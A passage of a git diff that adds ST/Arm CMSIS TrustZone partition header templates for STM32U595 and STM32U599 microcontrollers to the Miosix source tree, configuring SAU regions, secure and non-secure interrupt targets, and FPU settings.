Secure state <1=> Non-Secure state +// USART3_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS1_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 2 (Interrupts 64..95) +*/ +#define NVIC_INIT_ITNS2 1 + +/* +// Interrupts 64..95 +// UART4_IRQn <0=> Secure state <1=> Non-Secure state +// UART5_IRQn <0=> Secure state <1=> Non-Secure state +// LPUART1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM15_IRQn <0=> Secure state <1=> Non-Secure state +// TIM16_IRQn <0=> Secure state <1=> Non-Secure state +// TIM17_IRQn <0=> Secure state <1=> Non-Secure state +// COMP_IRQn <0=> Secure state <1=> Non-Secure state +// OTG_HS_IRQn <0=> Secure state <1=> Non-Secure state +// CRS_IRQn <0=> Secure state <1=> Non-Secure state +// FMC_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// PWR_S3WU_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC1_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel8_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel9_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel10_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel11_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel12_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel13_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel14_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel15_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SAI1_IRQn <0=> Secure state <1=> Non-Secure state +// SAI2_IRQn <0=> Secure state <1=> Non-Secure state +// TSC_IRQn <0=> Secure state <1=> Non-Secure state +// RNG_IRQn <0=> Secure state <1=> Non-Secure state +// FPU_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS2_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 3 (Interrupts 96..127) +*/ +#define NVIC_INIT_ITNS3 1 + +/* +// Interrupts 96..127 +// HASH_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM3_IRQn <0=> Secure state <1=> Non-Secure state +// SPI3_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_EV_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT0_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT1_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT2_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT3_IRQn <0=> Secure state <1=> Non-Secure state +// UCPD1_IRQn <0=> Secure state <1=> Non-Secure state +// ICACHE_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM4_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE1_IRQn <0=> Secure state <1=> Non-Secure state +// ADF1_IRQn <0=> Secure state <1=> Non-Secure state +// ADC4_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// DMA2D_IRQn <0=> Secure state <1=> Non-Secure state +// DCMI_PSSI_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI2_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT4_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT5_IRQn <0=> Secure state <1=> Non-Secure state +// CORDIC_IRQn <0=> Secure state <1=> Non-Secure state +// FMAC_IRQn <0=> Secure state <1=> Non-Secure state +// LSECSSD_IRQn <0=> Secure state <1=> Non-Secure state +// USART6_IRQn <0=> Secure state <1=> Non-Secure state +// I2C5_ER_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS3_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 4 (Interrupts 128..131) +*/ +#define NVIC_INIT_ITNS4 1 + +/* +// Interrupts 128..131 +// I2C5_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C6_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C6_EV_IRQn <0=> Secure state <1=> Non-Secure state +// HSPI1_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS4_VAL 0x00000000 + +/* +// +*/ + +/* +// +*/ + +/* + max 8 SAU regions. + SAU regions are defined in partition.h + */ + +#define SAU_INIT_REGION(n) \ + SAU->RNR = (n & SAU_RNR_REGION_Msk); \ + SAU->RBAR = (SAU_INIT_START##n & SAU_RBAR_BADDR_Msk); \ + SAU->RLAR = (SAU_INIT_END##n & SAU_RLAR_LADDR_Msk) | \ + ((SAU_INIT_NSC##n << SAU_RLAR_NSC_Pos) & SAU_RLAR_NSC_Msk) | 1U + +/** + \brief Setup a SAU Region + \details Writes the region information contained in SAU_Region to the + registers SAU_RNR, SAU_RBAR, and SAU_RLAR + */ +__STATIC_INLINE void TZ_SAU_Setup (void) +{ + +#if defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) + + #if defined (SAU_INIT_REGION0) && (SAU_INIT_REGION0 == 1U) + SAU_INIT_REGION(0); + #endif + + #if defined (SAU_INIT_REGION1) && (SAU_INIT_REGION1 == 1U) + SAU_INIT_REGION(1); + #endif + + #if defined (SAU_INIT_REGION2) && (SAU_INIT_REGION2 == 1U) + SAU_INIT_REGION(2); + #endif + + #if defined (SAU_INIT_REGION3) && (SAU_INIT_REGION3 == 1U) + SAU_INIT_REGION(3); + #endif + + #if defined (SAU_INIT_REGION4) && (SAU_INIT_REGION4 == 1U) + SAU_INIT_REGION(4); + #endif + + #if defined (SAU_INIT_REGION5) && (SAU_INIT_REGION5 == 1U) + SAU_INIT_REGION(5); + #endif + + #if defined (SAU_INIT_REGION6) && (SAU_INIT_REGION6 == 1U) + SAU_INIT_REGION(6); + #endif + + #if defined (SAU_INIT_REGION7) && (SAU_INIT_REGION7 == 1U) + SAU_INIT_REGION(7); + #endif + + /* repeat this for all possible SAU regions */ + +#endif /* defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) */ + + + #if defined (SAU_INIT_CTRL) && (SAU_INIT_CTRL == 1U) + SAU->CTRL = ((SAU_INIT_CTRL_ENABLE << SAU_CTRL_ENABLE_Pos) & SAU_CTRL_ENABLE_Msk) | + ((SAU_INIT_CTRL_ALLNS << SAU_CTRL_ALLNS_Pos) & SAU_CTRL_ALLNS_Msk) ; + #endif + + #if defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) + SCB->SCR = (SCB->SCR & ~(SCB_SCR_SLEEPDEEPS_Msk )) | + ((SCB_CSR_DEEPSLEEPS_VAL << SCB_SCR_SLEEPDEEPS_Pos) & SCB_SCR_SLEEPDEEPS_Msk); + + SCB->AIRCR = (SCB->AIRCR & ~(SCB_AIRCR_VECTKEY_Msk | SCB_AIRCR_SYSRESETREQS_Msk | + SCB_AIRCR_BFHFNMINS_Msk | SCB_AIRCR_PRIS_Msk) ) | + ((0x05FAU << SCB_AIRCR_VECTKEY_Pos) & SCB_AIRCR_VECTKEY_Msk) | + ((SCB_AIRCR_SYSRESETREQS_VAL << SCB_AIRCR_SYSRESETREQS_Pos) & SCB_AIRCR_SYSRESETREQS_Msk) | + ((SCB_AIRCR_PRIS_VAL << SCB_AIRCR_PRIS_Pos) & SCB_AIRCR_PRIS_Msk) | + ((SCB_AIRCR_BFHFNMINS_VAL << SCB_AIRCR_BFHFNMINS_Pos) & SCB_AIRCR_BFHFNMINS_Msk); + #endif /* defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) */ + + #if defined (__FPU_USED) && (__FPU_USED == 1U) && \ + defined (TZ_FPU_NS_USAGE) && (TZ_FPU_NS_USAGE == 1U) + + SCB->NSACR = (SCB->NSACR & ~(SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)) | + ((SCB_NSACR_CP10_11_VAL << SCB_NSACR_CP10_Pos) & (SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)); + + FPU->FPCCR = (FPU->FPCCR & ~(FPU_FPCCR_TS_Msk | FPU_FPCCR_CLRONRETS_Msk | FPU_FPCCR_CLRONRET_Msk)) | + ((FPU_FPCCR_TS_VAL << FPU_FPCCR_TS_Pos ) & FPU_FPCCR_TS_Msk ) | + ((FPU_FPCCR_CLRONRETS_VAL << FPU_FPCCR_CLRONRETS_Pos) & FPU_FPCCR_CLRONRETS_Msk) | + ((FPU_FPCCR_CLRONRET_VAL << FPU_FPCCR_CLRONRET_Pos ) & FPU_FPCCR_CLRONRET_Msk ); + #endif + + #if defined (NVIC_INIT_ITNS0) && (NVIC_INIT_ITNS0 == 1U) + NVIC->ITNS[0] = NVIC_INIT_ITNS0_VAL; + #endif + + #if defined (NVIC_INIT_ITNS1) && (NVIC_INIT_ITNS1 == 1U) + NVIC->ITNS[1] = NVIC_INIT_ITNS1_VAL; + #endif + + #if defined (NVIC_INIT_ITNS2) && (NVIC_INIT_ITNS2 == 1U) + NVIC->ITNS[2] = NVIC_INIT_ITNS2_VAL; + #endif + + #if defined (NVIC_INIT_ITNS3) && (NVIC_INIT_ITNS3 == 1U) + NVIC->ITNS[3] = NVIC_INIT_ITNS3_VAL; + #endif + + #if defined (NVIC_INIT_ITNS4) && (NVIC_INIT_ITNS4 == 1U) + NVIC->ITNS[4] = NVIC_INIT_ITNS4_VAL; + #endif + +} + +#endif /* PARTITION_STM32U595XX_H */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u599xx.h b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u599xx.h new file mode 100644 index 000000000..bf034788d --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u599xx.h @@ -0,0 +1,689 @@ +/** + ****************************************************************************** + * @file partition_stm32u599xx.h + * @author MCD Application Team + * @brief CMSIS STM32U599xx Device Initial Setup for Secure / Non-Secure Zones + * for ARMCM33 based on CMSIS CORE partition_ARMCM33.h Template. + * + * This file contains: + * - Initialize Security Attribution Unit (SAU) CTRL register + * - Setup behavior of Sleep and Exception Handling + * - Setup behavior of Floating Point Unit + * - Setup Interrupt Target + * + ****************************************************************************** + * Copyright (c) 2009-2019 Arm Limited. All rights reserved. + * Copyright (c) 2023 STMicroelectronics. All rights reserved. + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the License); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an AS IS BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ****************************************************************************** + */ + +#ifndef PARTITION_STM32U599XX_H +#define PARTITION_STM32U599XX_H + +/* +//-------- <<< Use Configuration Wizard in Context Menu >>> ----------------- +*/ + +/* +// Initialize Security Attribution Unit (SAU) CTRL register +*/ +#define SAU_INIT_CTRL 1 + +/* +// Enable SAU +// Value for SAU->CTRL register bit ENABLE +*/ +#define SAU_INIT_CTRL_ENABLE 0 + +/* +// When SAU is disabled +// <0=> All Memory is Secure +// <1=> All Memory is Non-Secure +// Value for SAU->CTRL register bit ALLNS +// When all Memory is Non-Secure (ALLNS is 1), IDAU can override memory map configuration. +*/ +#define SAU_INIT_CTRL_ALLNS 1 + +/* +// +*/ + +/* +// Initialize Security Attribution Unit (SAU) Address Regions +// SAU configuration specifies regions to be one of: +// - Secure and Non-Secure Callable +// - Non-Secure +// Note: All memory regions not configured by SAU are Secure +*/ +#define SAU_REGIONS_MAX 8 /* Max. number of SAU regions */ + +/* +// Initialize SAU Region 0 +// Setup SAU Region 0 memory attributes +*/ +#define SAU_INIT_REGION0 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START0 0x0C1FE000 /* start address of SAU region 0 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END0 0x0C1FFFFF /* end address of SAU region 0 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC0 1 +/* +// +*/ + +/* +// Initialize SAU Region 1 +// Setup SAU Region 1 memory attributes +*/ +#define SAU_INIT_REGION1 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START1 0x08200000 /* start address of SAU region 1 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END1 0x083FFFFF /* end address of SAU region 1 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC1 0 +/* +// +*/ + +/* +// Initialize SAU Region 2 +// Setup SAU Region 2 memory attributes +*/ +#define SAU_INIT_REGION2 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START2 0x200D0000 /* start address of SAU region 2 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END2 0x2026FFFF /* end address of SAU region 2 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC2 0 +/* +// +*/ + +/* +// Initialize SAU Region 3 +// Setup SAU Region 3 memory attributes +*/ +#define SAU_INIT_REGION3 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START3 0x40000000 /* start address of SAU region 3 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END3 0x4FFFFFFF /* end address of SAU region 3 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC3 0 +/* +// +*/ + +/* +// Initialize SAU Region 4 +// Setup SAU Region 4 memory attributes +*/ +#define SAU_INIT_REGION4 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START4 0x60000000 /* start address of SAU region 4 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END4 0xAFFFFFFF /* end address of SAU region 4 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC4 0 +/* +// +*/ + +/* +// Initialize SAU Region 5 +// Setup SAU Region 5 memory attributes +*/ +#define SAU_INIT_REGION5 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START5 0x0BF90000 /* start address of SAU region 5 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END5 0x0BFA8FFF /* end address of SAU region 5 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC5 0 +/* +// +*/ + +/* +// Initialize SAU Region 6 +// Setup SAU Region 6 memory attributes +*/ +#define SAU_INIT_REGION6 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START6 0x00000000 /* start address of SAU region 6 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END6 0x00000000 /* end address of SAU region 6 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC6 0 +/* +// +*/ + +/* +// Initialize SAU Region 7 +// Setup SAU Region 7 memory attributes +*/ +#define SAU_INIT_REGION7 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START7 0x00000000 /* start address of SAU region 7 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END7 0x00000000 /* end address of SAU region 7 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC7 0 +/* +// +*/ + +/* +// +*/ + +/* +// Setup behaviour of Sleep and Exception Handling +*/ +#define SCB_CSR_AIRCR_INIT 0 + +/* +// Deep Sleep can be enabled by +// <0=>Secure and Non-Secure state +// <1=>Secure state only +// Value for SCB->CSR register bit DEEPSLEEPS +*/ +#define SCB_CSR_DEEPSLEEPS_VAL 0 + +/* +// System reset request accessible from +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for SCB->AIRCR register bit SYSRESETREQS +*/ +#define SCB_AIRCR_SYSRESETREQS_VAL 0 + +/* +// Priority of Non-Secure exceptions is +// <0=> Not altered +// <1=> Lowered to 0x04-0x07 +// Value for SCB->AIRCR register bit PRIS +*/ +#define SCB_AIRCR_PRIS_VAL 0 + +/* +// BusFault, HardFault, and NMI target +// <0=> Secure state +// <1=> Non-Secure state +// Value for SCB->AIRCR register bit BFHFNMINS +*/ +#define SCB_AIRCR_BFHFNMINS_VAL 0 + +/* +// +*/ + +/* +// Setup behaviour of Floating Point Unit +*/ +#define TZ_FPU_NS_USAGE 1 + +/* +// Floating Point Unit usage +// <0=> Secure state only +// <3=> Secure and Non-Secure state +// Value for SCB->NSACR register bits CP10, CP11 +*/ +#define SCB_NSACR_CP10_11_VAL 3 + +/* +// Treat floating-point registers as Secure +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit TS +*/ +#define FPU_FPCCR_TS_VAL 0 + +/* +// Clear on return (CLRONRET) accessibility +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for FPU->FPCCR register bit CLRONRETS +*/ +#define FPU_FPCCR_CLRONRETS_VAL 0 + +/* +// Clear floating-point caller saved registers on exception return +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit CLRONRET +*/ +#define FPU_FPCCR_CLRONRET_VAL 1 + +/* +// +*/ + +/* +// Setup Interrupt Target +*/ + +/* +// Initialize ITNS 0 (Interrupts 0..31) +*/ +#define NVIC_INIT_ITNS0 1 + +/* +// Interrupts 0..31 +// WWDG_IRQn <0=> Secure state <1=> Non-Secure state +// PVD_PVM_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_S_IRQn <0=> Secure state <1=> Non-Secure state +// TAMP_IRQn <0=> Secure state <1=> Non-Secure state +// RAMCFG_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_S_IRQn <0=> Secure state <1=> Non-Secure state +// GTZC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_S_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI0_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI1_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI2_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI3_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI4_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI5_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI6_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI7_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI8_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI9_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI10_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI11_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI12_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI13_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI14_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI15_IRQn <0=> Secure state <1=> Non-Secure state +// IWDG_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS0_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 1 (Interrupts 32..63) +*/ +#define NVIC_INIT_ITNS1 1 + +/* +// Interrupts 32..63 +// GPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel4_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel5_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel7_IRQn <0=> Secure state <1=> Non-Secure state +// ADC1_IRQn <0=> Secure state <1=> Non-Secure state +// DAC1_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT0_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT1_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_CC_IRQn <0=> Secure state <1=> Non-Secure state +// TIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM3_IRQn <0=> Secure state <1=> Non-Secure state +// TIM4_IRQn <0=> Secure state <1=> Non-Secure state +// TIM5_IRQn <0=> Secure state <1=> Non-Secure state +// TIM6_IRQn <0=> Secure state <1=> Non-Secure state +// TIM7_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_CC_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SPI1_IRQn <0=> Secure state <1=> Non-Secure state +// SPI2_IRQn <0=> Secure state <1=> Non-Secure state +// USART1_IRQn <0=> Secure state <1=> Non-Secure state +// USART2_IRQn <0=> Secure state <1=> Non-Secure state +// USART3_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS1_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 2 (Interrupts 64..95) +*/ +#define NVIC_INIT_ITNS2 1 + +/* +// Interrupts 64..95 +// UART4_IRQn <0=> Secure state <1=> Non-Secure state +// UART5_IRQn <0=> Secure state <1=> Non-Secure state +// LPUART1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM15_IRQn <0=> Secure state <1=> Non-Secure state +// TIM16_IRQn <0=> Secure state <1=> Non-Secure state +// TIM17_IRQn <0=> Secure state <1=> Non-Secure state +// COMP_IRQn <0=> Secure state <1=> Non-Secure state +// OTG_HS_IRQn <0=> Secure state <1=> Non-Secure state +// CRS_IRQn <0=> Secure state <1=> Non-Secure state +// FMC_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// PWR_S3WU_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC1_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel8_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel9_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel10_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel11_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel12_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel13_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel14_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel15_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SAI1_IRQn <0=> Secure state <1=> Non-Secure state +// SAI2_IRQn <0=> Secure state <1=> Non-Secure state +// TSC_IRQn <0=> Secure state <1=> Non-Secure state +// RNG_IRQn <0=> Secure state <1=> Non-Secure state +// FPU_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS2_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 3 (Interrupts 96..127) +*/ +#define NVIC_INIT_ITNS3 1 + +/* +// Interrupts 96..127 +// HASH_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM3_IRQn <0=> Secure state <1=> Non-Secure state +// SPI3_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_EV_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT0_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT1_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT2_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT3_IRQn <0=> Secure state <1=> Non-Secure state +// UCPD1_IRQn <0=> Secure state <1=> Non-Secure state +// ICACHE_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM4_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE1_IRQn <0=> Secure state <1=> Non-Secure state +// ADF1_IRQn <0=> Secure state <1=> Non-Secure state +// ADC4_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// DMA2D_IRQn <0=> Secure state <1=> Non-Secure state +// DCMI_PSSI_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI2_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT4_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT5_IRQn <0=> Secure state <1=> Non-Secure state +// CORDIC_IRQn <0=> Secure state <1=> Non-Secure state +// FMAC_IRQn <0=> Secure state <1=> Non-Secure state +// LSECSSD_IRQn <0=> Secure state <1=> Non-Secure state +// USART6_IRQn <0=> Secure state <1=> Non-Secure state +// I2C5_ER_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS3_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 4 (Interrupts 128..138) +*/ +#define NVIC_INIT_ITNS4 1 + +/* +// Interrupts 128..138 +// I2C5_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C6_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C6_EV_IRQn <0=> Secure state <1=> Non-Secure state +// HSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// GPU2D_IRQn <0=> Secure state <1=> Non-Secure state +// GPU2D_ER_IRQn <0=> Secure state <1=> Non-Secure state +// GFXMMU_IRQn <0=> Secure state <1=> Non-Secure state +// LTDC_IRQn <0=> Secure state <1=> Non-Secure state +// LTDC_ER_IRQn <0=> Secure state <1=> Non-Secure state +// DSI_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE2_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS4_VAL 0x00000000 + +/* +// +*/ + +/* +// +*/ + +/* + max 8 SAU regions. + SAU regions are defined in partition.h + */ + +#define SAU_INIT_REGION(n) \ + SAU->RNR = (n & SAU_RNR_REGION_Msk); \ + SAU->RBAR = (SAU_INIT_START##n & SAU_RBAR_BADDR_Msk); \ + SAU->RLAR = (SAU_INIT_END##n & SAU_RLAR_LADDR_Msk) | \ + ((SAU_INIT_NSC##n << SAU_RLAR_NSC_Pos) & SAU_RLAR_NSC_Msk) | 1U + +/** + \brief Setup a SAU Region + \details Writes the region information contained in SAU_Region to the + registers SAU_RNR, SAU_RBAR, and SAU_RLAR + */ +__STATIC_INLINE void TZ_SAU_Setup (void) +{ + +#if defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) + + #if defined (SAU_INIT_REGION0) && (SAU_INIT_REGION0 == 1U) + SAU_INIT_REGION(0); + #endif + + #if defined (SAU_INIT_REGION1) && (SAU_INIT_REGION1 == 1U) + SAU_INIT_REGION(1); + #endif + + #if defined (SAU_INIT_REGION2) && (SAU_INIT_REGION2 == 1U) + SAU_INIT_REGION(2); + #endif + + #if defined (SAU_INIT_REGION3) && (SAU_INIT_REGION3 == 1U) + SAU_INIT_REGION(3); + #endif + + #if defined (SAU_INIT_REGION4) && (SAU_INIT_REGION4 == 1U) + SAU_INIT_REGION(4); + #endif + + #if defined (SAU_INIT_REGION5) && (SAU_INIT_REGION5 == 1U) + SAU_INIT_REGION(5); + #endif + + #if defined (SAU_INIT_REGION6) && (SAU_INIT_REGION6 == 1U) + SAU_INIT_REGION(6); + #endif + + #if defined (SAU_INIT_REGION7) && (SAU_INIT_REGION7 == 